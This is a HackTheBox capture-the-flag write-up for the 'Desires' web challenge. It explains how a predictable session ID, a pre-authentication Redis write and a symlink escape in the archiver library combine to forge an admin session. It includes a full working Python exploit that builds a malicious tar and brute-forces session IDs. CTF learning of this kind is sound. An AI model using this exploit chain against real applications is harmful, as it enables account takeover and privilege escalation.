$ cat writeup.md…
$ cat writeup.md…
HackTheBox
"As survivors face the vault, anticipation thickens the air, igniting desires for power and glory. Subtle glances reveal hidden ambitions. Unbeknownst to them, toxic gas twists thoughts, fueling greed and paranoia."
"As survivors face the vault, anticipation thickens the air, igniting desires for power and glory. Subtle glances reveal hidden ambitions. Unbeknownst to them, toxic gas twists thoughts, fueling greed and paranoia."
Target: http://154.57.164.82:31868
/tmp/sessions/<username>/<sessionID>Two services managed by supervisord:
Session flow:
sessionID = sha256(unix_timestamp) is generatedPrepareSession(sessionID, username) stores username → sessionID mapping in RedisloginUser(username, password) authenticates against the SSO serviceCreateSession(sessionID, user) writes user JSON to /tmp/sessions/<username>/<sessionID>GetSession(username) reads Redis to get sessionID, then reads the file at /tmp/sessions/<username>/<sessionID>The admin page at /user/admin checks if user.Role == "admin" and renders the flag.
Upload endpoint extracts archives to ./files/<username>/ using archiver.Unarchive(). The uploaded file is renamed to uuid + filepath.Ext(originalFilename).
Username validation blocks /, ., \ characters.
In LoginHandler in http.go:
func LoginHandler(c *fiber.Ctx) error { sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10)))) err := PrepareSession(sessionID, credentials.Username) // Redis SET before auth! user, err := loginUser(credentials.Username, credentials.Password) // Auth happens AFTER sessId := CreateSession(sessionID, user) // File only created on success }
Critical flaw: PrepareSession() stores the session ID in Redis BEFORE authentication. A failed login leaves Redis pointing to a session ID with NO corresponding session file on disk. The session ID is also predictable: sha256(unix_timestamp).
The mholt/archiver/v3 library:
os.MkdirAll for subsequent filesOverwriteExisting=false by default, but allows writing NEW files through symlinksCheckPath that prevents ../ path traversal, but does NOT prevent symlink-based escapesKey archiver source code:
// writeNewSymbolicLink creates symlinks without validating the target func writeNewSymbolicLink(fpath string, target string) error { os.MkdirAll(filepath.Dir(fpath), 0755) os.Symlink(target, fpath) // No validation of target! } // writeNewFile follows symlinks via os.MkdirAll func writeNewFile(fpath string, in io.Reader, fm os.FileMode) error { os.MkdirAll(filepath.Dir(fpath), 0755) // Follows symlinks! out, _ := os.Create(fpath) io.Copy(out, in) }
sessionID = sha256(unix_timestamp) — only depends on the current second, easily brute-forced within a small window (~5-8 values).
Get an authenticated session to use the upload endpoint.
Create a second user account.
Send a login request with wrong password for "target". This:
target → sha256(timestamp) via PrepareSessionCreateSession)Create a .tar file containing:
slink → /tmp/sessions (points to the sessions root directory)slink/<target>/<predicted_session_id> containing {"username":"<target>","id":1,"role":"admin"}When extracted to ./files/<uploader>/:
./files/<uploader>/slink → /tmp/sessions is createdos.MkdirAll creates ./files/<uploader>/slink/<target>/ which resolves to /tmp/sessions/<target>/ (directory created through symlink)/tmp/sessions/<target>/<predicted_session_id>Set cookies: username=<target>, session=<predicted_session_id>
Access /user/admin → GetSession reads Redis for "target" → gets the predicted session ID → reads the forged admin session file → role == "admin" → FLAG rendered!
#!/usr/bin/env python3 """ HackTheBox Desires — Session Puzzling + Tar Symlink Attack Exploit chain: predictable session ID + pre-auth Redis write + archiver symlink escape """ import requests, json, tarfile, io, time, sys, re, hashlib TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://154.57.164.82:31868" ts = int(time.time()) % 10000000 UPLOADER = f"up{ts}" TARGET_USER = f"tg{ts}" PASSWORD = "password123" up_session = requests.Session() # Step 1: Register and login uploader up_session.post(f"{TARGET}/register", data={"username": UPLOADER, "password": PASSWORD}, allow_redirects=False) up_session.post(f"{TARGET}/login", data={"username": UPLOADER, "password": PASSWORD}, allow_redirects=False) # Step 2: Register target requests.post(f"{TARGET}/register", data={"username": TARGET_USER, "password": PASSWORD}, allow_redirects=False) # Step 3: Failed login as target (sets Redis, no session file) ts_before = int(time.time()) requests.post(f"{TARGET}/login", data={"username": TARGET_USER, "password": "WRONG"}, allow_redirects=False) ts_after = int(time.time()) # Step 4: Try each possible session ID admin_data = json.dumps({"username": TARGET_USER, "id": 1, "role": "admin"}).encode() for i, t in enumerate(range(ts_before - 3, ts_after + 4)): predicted_sid = hashlib.sha256(str(t).encode()).hexdigest() # Fresh uploader for each attempt (symlink can't be recreated) if i > 0: uploader_name = f"up{ts}a{i}" up_session = requests.Session() up_session.post(f"{TARGET}/register", data={"username": uploader_name, "password": PASSWORD}, allow_redirects=False) up_session.post(f"{TARGET}/login", data={"username": uploader_name, "password": PASSWORD}, allow_redirects=False) # Create tar: symlink to /tmp/sessions + admin session file through symlink buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w') as tar: # Symlink: slink -> /tmp/sessions sym = tarfile.TarInfo(name="slink") sym.type = tarfile.SYMTYPE sym.linkname = "/tmp/sessions" tar.addfile(sym) # Admin session file written through the symlink f = tarfile.TarInfo(name=f"slink/{TARGET_USER}/{predicted_sid}") f.size = len(admin_data) f.mode = 0o644 tar.addfile(f, io.BytesIO(admin_data)) buf.seek(0) resp = up_session.post(f"{TARGET}/user/upload", files={"archive": ("p.tar", buf.read(), "application/x-tar")}) if resp.status_code != 202: continue # Step 5: Access admin with forged session test = requests.Session() test.cookies.set("session", predicted_sid) test.cookies.set("username", TARGET_USER) resp = test.get(f"{TARGET}/user/admin") if "HTB{" in resp.text: flag = re.search(r'HTB\{[^}]+\}', resp.text) print(f"FLAG: {flag.group(0)}") sys.exit(0) print("Failed — try adjusting timestamp window")
File extension matters: filepath.Ext("file.tar.gz") returns .gz, not .tar.gz. The archiver's ByExtension function then treats it as a Gz compressor (not a TarGz archive), causing extraction to fail. Must use .tar extension only.
Symlink to parent directory: Initially tried symlinking to /tmp/sessions/<target>/ but that directory doesn't exist after a failed login. Symlinking to /tmp/sessions instead lets os.MkdirAll create the <target>/ subdirectory through the symlink.
OverwriteExisting=false: The archiver won't overwrite existing files. This is why the session puzzling is essential — the failed login ensures no session file exists at the predicted path.
Fresh uploader per attempt: Once a symlink named slink exists in an uploader's directory, subsequent uploads fail with "file exists". Each brute-force attempt needs a new uploader account.
Timestamp brute-force window: The session ID is sha256(unix_second), so only ~5-8 values need to be tried around the request time.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar